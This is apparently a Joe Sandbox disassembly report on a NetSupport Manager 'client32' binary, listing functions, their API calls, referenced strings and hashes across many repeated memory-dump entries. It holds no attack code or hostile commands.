Snapshot File: hcaresult_21_2_11000000_client32.jbxd

Yara matches

Similarity

API ID: _memmove$std::exception::exception$Exception@8Throw$Xinvalid_argumentstd::_
String ID: deque<T> too long
API String ID: 827257264-309773918
Opcode ID: 6f44853749167e6417c702704c1d5fd1f6b6aa11f4fe1b268de19c2d7f3316e5
Instruction ID: ae58a47b93f5c67beecf59276473b3909c5d487f19c470db74dff325715f4f31
Opcode Fuzzy Hash: 6f44853749167e6417c702704c1d5fd1f6b6aa11f4fe1b268de19c2d7f3316e5
Instruction Fuzzy Hash: DD41A476E00105ABDB04CE68CC81AEEB7FAAF94324F59C669DC09DB344E675EE05C790

Function 1113B570 Relevance: 14.2, APIs: 6, Strings: 2, Instructions: 151windowtimeCOMMON

Download Yara Rule

APIs

_strncpy.LIBCMT ref: 1113B5CF
IsWindow.USER32(00000000), ref: 1113B601
_malloc.LIBCMT ref: 1113B660
_memmove.LIBCMT ref: 1113B6C5
SendMessageTimeoutA.USER32(00000000,0000004A,000802A6,00000003,00000002,00002710,?), ref: 1113B71F
_free.LIBCMT ref: 1113B726

Part of subcall function 11162BE5: HeapFree.KERNEL32(00000000,00000000,?,1116B7A6,00000000,?,1110F4AE,?,?,?,?,11145032,?,?,?), ref: 11162BFB
Part of subcall function 11162BE5: GetLastError.KERNEL32(00000000,?,1116B7A6,00000000,?,1110F4AE,?,?,?,?,11145032,?,?,?), ref: 11162C0D

Strings

e:\nsmsrc\nsm\1210\1210f\ctl32\DataStream.h, xrefs: 1113B64A, 1113B681, 1113B6AD, 1113B6EB
IsA(), xrefs: 1113B64F, 1113B686, 1113B6B2, 1113B6F0

Memory Dump Source

Source File: 00000015.00000002.2419532010.0000000011001000.00000020.00000001.01000000.0000000F.sdmp, Offset: 11000000, based on PE: true

Associated: 00000015.00000002.2419489572.0000000011000000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2422619093.0000000011193000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423288156.00000000111E1000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423456809.00000000111F0000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.00000000111F6000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.000000001120A000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.000000001125C000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.0000000011287000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.000000001129D000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.00000000112AC000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.00000000112B3000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.00000000112DE000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.000000001132A000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_11000000_client32.jbxd

Yara matches

Similarity

API ID: ErrorFreeHeapLastMessageSendTimeoutWindow_free_malloc_memmove_strncpy
String ID: IsA()$e:\nsmsrc\nsm\1210\1210f\ctl32\DataStream.h
API String ID: 1602665774-2270926670
Opcode ID: d2f65b4893a4b113bd1b975723f5e0f7d18ba14633015f12ae9014c407eed244
Instruction ID: 0eb2f4ed3c193268d82c3344ddec75665aa68b4e15ddc527d606e76f9d1459b3
Opcode Fuzzy Hash: d2f65b4893a4b113bd1b975723f5e0f7d18ba14633015f12ae9014c407eed244
Instruction Fuzzy Hash: 0151B074A0110AAFDB00DF94DD81FDEF7B5FF95318F044124F919AB281EA70AA04CBA5

Function 110096C0 Relevance: 14.1, APIs: 4, Strings: 4, Instructions: 148fileCOMMON

Download Yara Rule

APIs

Part of subcall function 110B7920: GetModuleHandleA.KERNEL32(kernel32.dll,ProcessIdToSessionId,00000000,00000000), ref: 110B7946
Part of subcall function 110B7920: GetProcAddress.KERNEL32(00000000), ref: 110B794D
Part of subcall function 110B7920: GetCurrentProcessId.KERNEL32(00000000), ref: 110B7963

wsprintfA.USER32 ref: 110096FF
wsprintfA.USER32 ref: 11009719
CreateFileA.KERNEL32(?,40000000,00000000,00000000,00000002,00000080,00000000), ref: 11009803

Strings

.%u, xrefs: 110096F9
ApprovedWebList, xrefs: 11009708
Store\, xrefs: 110097A0
%s%s.htm, xrefs: 11009713

Memory Dump Source

Source File: 00000015.00000002.2419532010.0000000011001000.00000020.00000001.01000000.0000000F.sdmp, Offset: 11000000, based on PE: true

Associated: 00000015.00000002.2419489572.0000000011000000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2422619093.0000000011193000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423288156.00000000111E1000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423456809.00000000111F0000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.00000000111F6000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.000000001120A000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.000000001125C000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.0000000011287000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.000000001129D000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.00000000112AC000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.00000000112B3000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.00000000112DE000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.000000001132A000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_11000000_client32.jbxd

Yara matches

Similarity

API ID: wsprintf$AddressCreateCurrentFileHandleModuleProcProcess
String ID: %s%s.htm$.%u$ApprovedWebList$Store\
API String ID: 559337438-1872371932
Opcode ID: af71b0923a1d4120740ce45f998e2adca2c9fc1ba50e23a94cd7c026d3225f91
Instruction ID: ac38ff220fce49fe95aa0d50a934cc281f992a81e8d226226224e10aeb55a698
Opcode Fuzzy Hash: af71b0923a1d4120740ce45f998e2adca2c9fc1ba50e23a94cd7c026d3225f91
Instruction Fuzzy Hash: 38512631D0425E9FE715CF789894BDABBE4AB09348F0081E4D54DDB241FA31AA44CB91

Function 1106B250 Relevance: 14.1, APIs: 7, Strings: 1, Instructions: 130COMMON

Download Yara Rule

APIs

_memset.LIBCMT ref: 1106B283
__fread_nolock.LIBCMT ref: 1106B298
_malloc.LIBCMT ref: 1106B2F7
_fseek.LIBCMT ref: 1106B306
__fread_nolock.LIBCMT ref: 1106B313
_free.LIBCMT ref: 1106B356
_fseek.LIBCMT ref: 1106B375

Strings

PCIR, xrefs: 1106B399

Memory Dump Source

Source File: 00000015.00000002.2419532010.0000000011001000.00000020.00000001.01000000.0000000F.sdmp, Offset: 11000000, based on PE: true

Associated: 00000015.00000002.2419489572.0000000011000000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2422619093.0000000011193000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423288156.00000000111E1000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423456809.00000000111F0000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.00000000111F6000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.000000001120A000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.000000001125C000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.0000000011287000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.000000001129D000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.00000000112AC000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.00000000112B3000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.00000000112DE000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.000000001132A000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_11000000_client32.jbxd

Yara matches

Similarity

API ID: __fread_nolock_fseek$_free_malloc_memset
String ID: PCIR
API String ID: 2419779768-1011558323
Opcode ID: 81c3817886dc5dbe589c173359df18430558f154d2dd439929bf4d11460d0680
Instruction ID: 1ccd7dea2f775c367685aa3e1c73f4b59a6156879e869ee7e214f681fe7cb03c
Opcode Fuzzy Hash: 81c3817886dc5dbe589c173359df18430558f154d2dd439929bf4d11460d0680
Instruction Fuzzy Hash: A94106B1F01318ABEB10CFA4DD41BDEB7BEEF81308F104069EC09AB240DA72A901C795

Function 1106B430 Relevance: 14.1, APIs: 4, Strings: 4, Instructions: 121timeCOMMON

Download Yara Rule

APIs

GetLocalTime.KERNEL32(?,000000F2,00000001), ref: 1106B4C0
wsprintfA.USER32 ref: 1106B511
wvsprintfA.USER32(00000000,00000000,?), ref: 1106B540
_fputs.LIBCMT ref: 1106B5A5

Part of subcall function 11144DC0: ExpandEnvironmentStringsA.KERNEL32(?,?,00000104,NSM.LIC), ref: 11144DE7

Part of subcall function 11163FED: __fsopen.LIBCMT ref: 11163FFA

Strings

%02d-%s-%02d %02d:%02d:%02d , xrefs: 1106B50B
MODEM.LOG, xrefs: 1106B467
..\ctl32\Connect.cpp, xrefs: 1106B585
_tcslen (buf) < _tsizeof (buf), xrefs: 1106B58A

Memory Dump Source

Source File: 00000015.00000002.2419532010.0000000011001000.00000020.00000001.01000000.0000000F.sdmp, Offset: 11000000, based on PE: true

Associated: 00000015.00000002.2419489572.0000000011000000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2422619093.0000000011193000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423288156.00000000111E1000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423456809.00000000111F0000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.00000000111F6000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.000000001120A000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.000000001125C000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.0000000011287000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.000000001129D000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.00000000112AC000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.00000000112B3000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.00000000112DE000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.000000001132A000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_11000000_client32.jbxd

Yara matches

Similarity

API ID: EnvironmentExpandLocalStringsTime__fsopen_fputswsprintfwvsprintf
String ID: %02d-%s-%02d %02d:%02d:%02d $..\ctl32\Connect.cpp$MODEM.LOG$_tcslen (buf) < _tsizeof (buf)
API String ID: 2115059068-1537580878
Opcode ID: fa61c650d943bb0fa491be057d51e2ac83cf3ef0e888a2d54108ae40a0af48be
Instruction ID: 5d2c35739838bb834d3b3d3efafd746ba003c3fabde1782874e9b65cfd7eed37
Opcode Fuzzy Hash: fa61c650d943bb0fa491be057d51e2ac83cf3ef0e888a2d54108ae40a0af48be
Instruction Fuzzy Hash: 7541CBF590012D9AC715CF64DC80BFEB7B9AF44348F0481E9E9095B145EA7166C9CBA4

Function 11147400 Relevance: 14.1, APIs: 5, Strings: 3, Instructions: 114threadCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 11147413
wsprintfA.USER32 ref: 11147493
IsBadReadPtr.KERNEL32(?,00000001), ref: 111474B8
wsprintfA.USER32 ref: 111474D8
wsprintfA.USER32 ref: 111474F5

Strings

%02X , xrefs: 111474D2
Callstack:, xrefs: 111474EF
EAX=%08X EBX=%08X ECX=%08X EDX=%08X ESI=%08XEDI=%08X EBP=%08X ESP=%08X EIP=%08X FLG=%08XCS=%04X DS=%04X SS=%04X ES=%04X FS=%04X GS=%04X TID=%XEIP:, xrefs: 1114748D

Memory Dump Source

Source File: 00000015.00000002.2419532010.0000000011001000.00000020.00000001.01000000.0000000F.sdmp, Offset: 11000000, based on PE: true

Associated: 00000015.00000002.2419489572.0000000011000000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2422619093.0000000011193000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423288156.00000000111E1000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423456809.00000000111F0000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.00000000111F6000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.000000001120A000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.000000001125C000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.0000000011287000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.000000001129D000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.00000000112AC000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.00000000112B3000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.00000000112DE000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.000000001132A000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_11000000_client32.jbxd

Yara matches

Similarity

API ID: wsprintf$CurrentReadThread
String ID: Callstack:$%02X $EAX=%08X EBX=%08X ECX=%08X EDX=%08X ESI=%08XEDI=%08X EBP=%08X ESP=%08X EIP=%08X FLG=%08XCS=%04X DS=%04X SS=%04X ES=%04X FS=%04X GS=%04X TID=%XEIP:
API String ID: 477357799-160799177
Opcode ID: 3b29731f2fcac8cdf4188579606b588cad6f6aa37c3165fe8824c1b26f510daf
Instruction ID: 688bc027546cad6e23cb765a90b036e17549c8c065315ec51cb57d9c97b2bd93
Opcode Fuzzy Hash: 3b29731f2fcac8cdf4188579606b588cad6f6aa37c3165fe8824c1b26f510daf
Instruction Fuzzy Hash: 29411CB1604705ABD754CFA9DC80FA7B7A9AB88704F144918F96EC7244EB30B9048BA1

Function 11015500 Relevance: 14.1, APIs: 5, Strings: 3, Instructions: 113COMMON

Download Yara Rule

APIs

SetPropA.USER32(?,?), ref: 1101556F

Part of subcall function 11029450: GetLastError.KERNEL32(?,00000000,?), ref: 1102946C
Part of subcall function 11029450: wsprintfA.USER32 ref: 110294B7
Part of subcall function 11029450: MessageBoxA.USER32(00000000,?,Client32,00000000), ref: 110294F3
Part of subcall function 11029450: ExitProcess.KERNEL32 ref: 11029509

Part of subcall function 11015290: BeginPaint.USER32(?,?), ref: 110152BF
Part of subcall function 11015290: GetWindowRect.USER32(?,?), ref: 110152D7
Part of subcall function 11015290: _memset.LIBCMT ref: 110152E5
Part of subcall function 11015290: CreateFontIndirectA.GDI32(?), ref: 11015301
Part of subcall function 11015290: SelectObject.GDI32(00000000,00000000), ref: 11015315
Part of subcall function 11015290: SetBkMode.GDI32(00000000,00000001), ref: 11015320
Part of subcall function 11015290: BeginPath.GDI32(00000000), ref: 1101532D
Part of subcall function 11015290: TextOutA.GDI32(00000000,00000000,00000000), ref: 11015350
Part of subcall function 11015290: EndPath.GDI32(00000000), ref: 11015357
Part of subcall function 11015290: PathToRegion.GDI32(00000000), ref: 1101535E
Part of subcall function 11015290: CreateSolidBrush.GDI32(?), ref: 11015370
Part of subcall function 11015290: CreateSolidBrush.GDI32(?), ref: 11015386
Part of subcall function 11015290: CreatePen.GDI32(00000000,00000002,?), ref: 110153A0
Part of subcall function 11015290: SelectObject.GDI32(00000000,00000000), ref: 110153AE
Part of subcall function 11015290: SelectObject.GDI32(00000000,?), ref: 110153BE
Part of subcall function 11015290: GetRgnBox.GDI32(00000000,?), ref: 110153CB

GetPropA.USER32(?), ref: 1101557E
wsprintfA.USER32 ref: 110155B3
RemovePropA.USER32(?), ref: 110155E8
DefWindowProcA.USER32(?,?,?,?), ref: 11015611

Strings

NSMIdentifyWnd::m_aProp, xrefs: 11015558
..\ctl32\NSMIdentifyWnd.cpp, xrefs: 11015535, 11015553, 110155C3
hWnd=%x, uiMsg=x%x, wP=x%x, lP=x%x, xrefs: 110155AD

Memory Dump Source

Source File: 00000015.00000002.2419532010.0000000011001000.00000020.00000001.01000000.0000000F.sdmp, Offset: 11000000, based on PE: true

Associated: 00000015.00000002.2419489572.0000000011000000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2422619093.0000000011193000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423288156.00000000111E1000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423456809.00000000111F0000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.00000000111F6000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.000000001120A000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.000000001125C000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.0000000011287000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.000000001129D000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.00000000112AC000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.00000000112B3000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.00000000112DE000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.000000001132A000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_11000000_client32.jbxd

Yara matches

Similarity

API ID: Create$ObjectPathPropSelect$BeginBrushSolidWindowwsprintf$ErrorExitFontIndirectLastMessageModePaintProcProcessRectRegionRemoveText_memset
String ID: ..\ctl32\NSMIdentifyWnd.cpp$NSMIdentifyWnd::m_aProp$hWnd=%x, uiMsg=x%x, wP=x%x, lP=x%x
API String ID: 1924375018-841114059
Opcode ID: 349e3198e4ee11d8f994cce4f4d7fe91b877becd306935b01eaf7a21f5783bae
Instruction ID: fc00b609a2f261b647cf9ab1963ef075e81928135c8218ba30019119ab5d925d
Opcode Fuzzy Hash: 349e3198e4ee11d8f994cce4f4d7fe91b877becd306935b01eaf7a21f5783bae
Instruction Fuzzy Hash: 1131E775E01029ABD714DFA4DC80FBEB379EF4A309F04406AF51A9F148EA7A9940CB71

Function 11005190 Relevance: 14.1, APIs: 7, Strings: 1, Instructions: 104windowCOMMON

Download Yara Rule

APIs

GetMenuItemCount.USER32(?), ref: 1100519E
_memset.LIBCMT ref: 110051C0
GetMenuItemID.USER32(?,00000000), ref: 110051D4
CheckMenuItem.USER32(?,00000000,00000000), ref: 11005231
EnableMenuItem.USER32(?,00000000,00000000), ref: 11005247
GetMenuItemInfoA.USER32(?,00000000,00000001,00000030), ref: 11005268
SetMenuItemInfoA.USER32(?,00000000,00000001,00000030), ref: 11005294

Strings

0, xrefs: 110051CD

Memory Dump Source

Source File: 00000015.00000002.2419532010.0000000011001000.00000020.00000001.01000000.0000000F.sdmp, Offset: 11000000, based on PE: true

Associated: 00000015.00000002.2419489572.0000000011000000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2422619093.0000000011193000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423288156.00000000111E1000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423456809.00000000111F0000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.00000000111F6000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.000000001120A000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.000000001125C000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.0000000011287000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.000000001129D000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.00000000112AC000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.00000000112B3000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.00000000112DE000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.000000001132A000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_11000000_client32.jbxd

Yara matches

Similarity

API ID: ItemMenu$Info$CheckCountEnable_memset
String ID: 0
API String ID: 2755257978-4108050209
Opcode ID: ed19a4d0eac54c607b6a919a5e70af2297959f222d84ccf27589c69c777b0ba6
Instruction ID: ff6163613c0a8cbc830ef1528835912891ededd95cc8b4eaa22ca2fcf9c2cdf5
Opcode Fuzzy Hash: ed19a4d0eac54c607b6a919a5e70af2297959f222d84ccf27589c69c777b0ba6
Instruction Fuzzy Hash: 71318E70D11219ABEB01DFA4D885BEEBBFCEF46758F008059F951E6240E7759944CB60

Function 1101D1B0 Relevance: 14.1, APIs: 7, Strings: 1, Instructions: 100registryCOMMON

Download Yara Rule

APIs

_memset.LIBCMT ref: 1101D1E0
GetClassInfoExA.USER32(00000000,NSMChatSizeWnd,?), ref: 1101D1FA
_memset.LIBCMT ref: 1101D20A
RegisterClassExA.USER32(?), ref: 1101D24B
CreateWindowExA.USER32(00000000,NSMChatSizeWnd,11194244,00CF0000,80000000,80000000,80000000,80000000,00000000,00000000,00000000,00000000), ref: 1101D27E
GetWindowRect.USER32(00000000,?), ref: 1101D28B
DestroyWindow.USER32(00000000), ref: 1101D292

Strings

NSMChatSizeWnd, xrefs: 1101D1EC, 1101D241, 1101D278

Memory Dump Source

Source File: 00000015.00000002.2419532010.0000000011001000.00000020.00000001.01000000.0000000F.sdmp, Offset: 11000000, based on PE: true

Associated: 00000015.00000002.2419489572.0000000011000000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2422619093.0000000011193000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423288156.00000000111E1000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423456809.00000000111F0000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.00000000111F6000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.000000001120A000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.000000001125C000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.0000000011287000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.000000001129D000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.00000000112AC000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.00000000112B3000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.00000000112DE000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.000000001132A000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_11000000_client32.jbxd

Yara matches

Similarity

API ID: Window$Class_memset$CreateDestroyInfoRectRegister
String ID: NSMChatSizeWnd
API String ID: 2883038198-4119039562
Opcode ID: 87aebd6e18ee9abdefb850bcd11d4769ee8e47b38e4dbf48374c28c167509a6c
Instruction ID: df00defde950c6a972f57fa33671139d82de9fa74eae4c6bde258e6239c9b3d1
Opcode Fuzzy Hash: 87aebd6e18ee9abdefb850bcd11d4769ee8e47b38e4dbf48374c28c167509a6c
Instruction Fuzzy Hash: C7314DB5D0021DAFDB10DFA5DD84BEEF7B8EB44628F20012EE925B7240D735A905CB64

Function 1103D160 Relevance: 14.1, APIs: 5, Strings: 3, Instructions: 98synchronizationCOMMON

Download Yara Rule

APIs

_memset.LIBCMT ref: 1103D18F
GetModuleFileNameA.KERNEL32(00000000,?,00000125), ref: 1103D1BD
CloseHandle.KERNEL32(?), ref: 1103D25C
WaitForSingleObject.KERNEL32(?,000000FF), ref: 1103D26C
CloseHandle.KERNEL32(?), ref: 1103D279

Strings

/247, xrefs: 1103D20A
RunAnnot, xrefs: 1103D177
" /a, xrefs: 1103D1DF

Memory Dump Source

Source File: 00000015.00000002.2419532010.0000000011001000.00000020.00000001.01000000.0000000F.sdmp, Offset: 11000000, based on PE: true

Associated: 00000015.00000002.2419489572.0000000011000000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2422619093.0000000011193000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423288156.00000000111E1000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423456809.00000000111F0000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.00000000111F6000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.000000001120A000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.000000001125C000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.0000000011287000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.000000001129D000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.00000000112AC000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.00000000112B3000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.00000000112DE000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.000000001132A000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_11000000_client32.jbxd

Yara matches

Similarity

API ID: CloseHandle$FileModuleNameObjectSingleWait_memset
String ID: /247$" /a$RunAnnot
API String ID: 2581068044-4059077130
Opcode ID: b839e70076fc368ba000d97afe45d019281ed31407febcd3e3d047b5c4491ca4
Instruction ID: dc76f3c11fb5ad4c0452055a60ef983052eda761819ccc7684b04031b26646f7
Opcode Fuzzy Hash: b839e70076fc368ba000d97afe45d019281ed31407febcd3e3d047b5c4491ca4
Instruction Fuzzy Hash: 4541C030A04319AFEB11DFA4CC84FDDB7B9EB48704F1080A5E6589B284DB71E944CF90

Function 11009480 Relevance: 14.1, APIs: 3, Strings: 5, Instructions: 92fileCOMMON

Download Yara Rule

APIs

_strncmp.LIBCMT ref: 110094BA
_strncmp.LIBCMT ref: 110094CA
WriteFile.KERNEL32(00000000,?,?,00000000,00000000,?,?,?,?,?,?,?,59FD48C0), ref: 1100956B

Strings

http://, xrefs: 110094B5, 110094C8
https://, xrefs: 110094AF
IsA(), xrefs: 11009525, 1100954D
<tr><td valign="middle" align="center"><p align="center"><img border="0" src="%s" align="left" width="16"> </p></td><td><p align="left"><font face="Verdana, Arial, Helvetica, sans-serif" size="2"><a>%s</a></font></p></td><td> </td><td , xrefs: 110094F1
e:\nsmsrc\nsm\1210\1210f\ctl32\NSMString.h, xrefs: 11009520, 11009548

Memory Dump Source

Source File: 00000015.00000002.2419532010.0000000011001000.00000020.00000001.01000000.0000000F.sdmp, Offset: 11000000, based on PE: true

Associated: 00000015.00000002.2419489572.0000000011000000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2422619093.0000000011193000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423288156.00000000111E1000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423456809.00000000111F0000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.00000000111F6000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.000000001120A000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.000000001125C000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.0000000011287000.00000002.00000001.01000000.0000000F.sdmpDownload File
